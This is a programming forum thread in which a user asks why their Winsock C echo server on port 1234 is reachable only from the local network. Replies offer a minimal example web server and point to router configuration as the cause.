I have a server written in C under Windows, but I can only seem to connect to it from machines that are also connected to the router my computer is connected to. Any ideas why? Here's my code:
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32.lib")
#define PORT "1234"
#define BUFLEN 512
DWORD ErrorMessage(char* msg, int error)
{
printf("ErrorMessage: %s\nCodErr: %d\n", msg, error);
return -1;
}
void PrintArray(char* v, unsigned int len)
{
for(unsigned int i = 0 ; i < len ; i++)
printf("%c",v[i]);
printf("\n");
}
DWORD WINAPI ClientHandler(LPVOID lpParam)
{
SOCKET ClientSocket = *((SOCKET*)lpParam);
char recvbuf[BUFLEN];
int iResult,iSendResult;
do
{
iResult = recv(ClientSocket, recvbuf, BUFLEN, 0);
if(iResult > 0)
{
PrintArray(recvbuf,iResult);
iSendResult = send(ClientSocket, recvbuf, iResult, 0);
if(iSendResult == SOCKET_ERROR)
{
closesocket(ClientSocket);
WSACleanup();
return ErrorMessage("send",WSAGetLastError());
}
}
else if(iResult == 0)
printf("Connection closing...\n");
else
{
closesocket(ClientSocket);
WSACleanup();
return ErrorMessage("recv",WSAGetLastError());
}
}
while(iResult > 0);
return 0;
}
int main()
{
WSADATA wsaData;
int iResult;
iResult = WSAStartup(MAKEWORD(2,2),&wsaData);
if(iResult != 0)
{
printf("WSAStartup failed and with error code: %d\n",iResult);
return ErrorMessage("WSAStartup",GetLastError());
}
struct addrinfo *result = NULL, *ptr = NULL, hints;
memset(&hints,0,sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
iResult = getaddrinfo(NULL,PORT,&hints,&result);
if(iResult != 0)
{
printf("getaddrinfo failed %d\n",iResult);
WSACleanup();
return -1;
}
SOCKET ListenSocket = INVALID_SOCKET;
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if(ListenSocket == INVALID_SOCKET)
{
freeaddrinfo(result);
WSACleanup();
return ErrorMessage("socket",WSAGetLastError());
}
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if(iResult == SOCKET_ERROR)
{
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return ErrorMessage("bind", WSAGetLastError());
}
freeaddrinfo(result);
if(listen(ListenSocket,5) == SOCKET_ERROR)
{
closesocket(ListenSocket);
WSACleanup();
return ErrorMessage("listen",WSAGetLastError());
}
SOCKET ClientSocket = INVALID_SOCKET;
sockaddr sa;
while(true)
{
ClientSocket = accept(ListenSocket, &sa /*NULL*/, NULL);
if(ClientSocket == INVALID_SOCKET)
{
closesocket(ListenSocket);
WSACleanup();
return ErrorMessage("accept",WSAGetLastError());
}
printf("New client arrived...\n");
if(CreateThread(NULL, 0, ClientHandler, &ClientSocket, 0, NULL) == NULL)
ErrorMessage("CreateThread",GetLastError());
}
iResult = shutdown(ClientSocket,SD_BOTH);
if(iResult == SOCKET_ERROR)
{
closesocket(ClientSocket);
closesocket(ListenSocket);
WSACleanup();
return ErrorMessage("shutsown",WSAGetLastError());
}
closesocket(ListenSocket);
WSACleanup();
return 0;
}
I can't follow your code, but usually I use bind with htons. In your code, it's not obvious how you convert your string "1234" into a numeric value. I wrote a very crude simple Web Server on port 1234 that just serves out a dummy "Hello World" page. All validation has been removed to keep the example short:
#include "stdafx.h"
#include <tchar.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "wsock32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsaData = {0};
WSAStartup(0x202, &wsaData);
SOCKET serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SOCKADDR_IN sin = {0};
sin.sin_family = PF_INET;
sin.sin_port = htons(1234);
sin.sin_addr.s_addr = INADDR_ANY;
bind(serverSocket, (LPSOCKADDR) &sin, sizeof(sin));
listen(serverSocket, 1);
SOCKET clientSocket = accept(serverSocket, NULL, NULL);
while (clientSocket != INVALID_SOCKET)
{
char request[1024] = {0};
recv(clientSocket, request, 1024, 0);
static char html[] =
"HTTP/1.1 200 OK\n"
"Content-Type: text/html\n"
"\n"
"<HTML><HEAD><TITLE>Hello World!</TITLE></HEAD><BODY>Hello World!</BODY></HTML>\n\n";
send(clientSocket, html, sizeof(html), 0);
closesocket(clientSocket);
clientSocket = accept(serverSocket, NULL, NULL);
}
closesocket(serverSocket);
WSACleanup();
return 0;
}
The problem is not in your program. The problem is in the configuration of your router.
Try to connect to some other TCP/IP service on your computer from outside.

Resources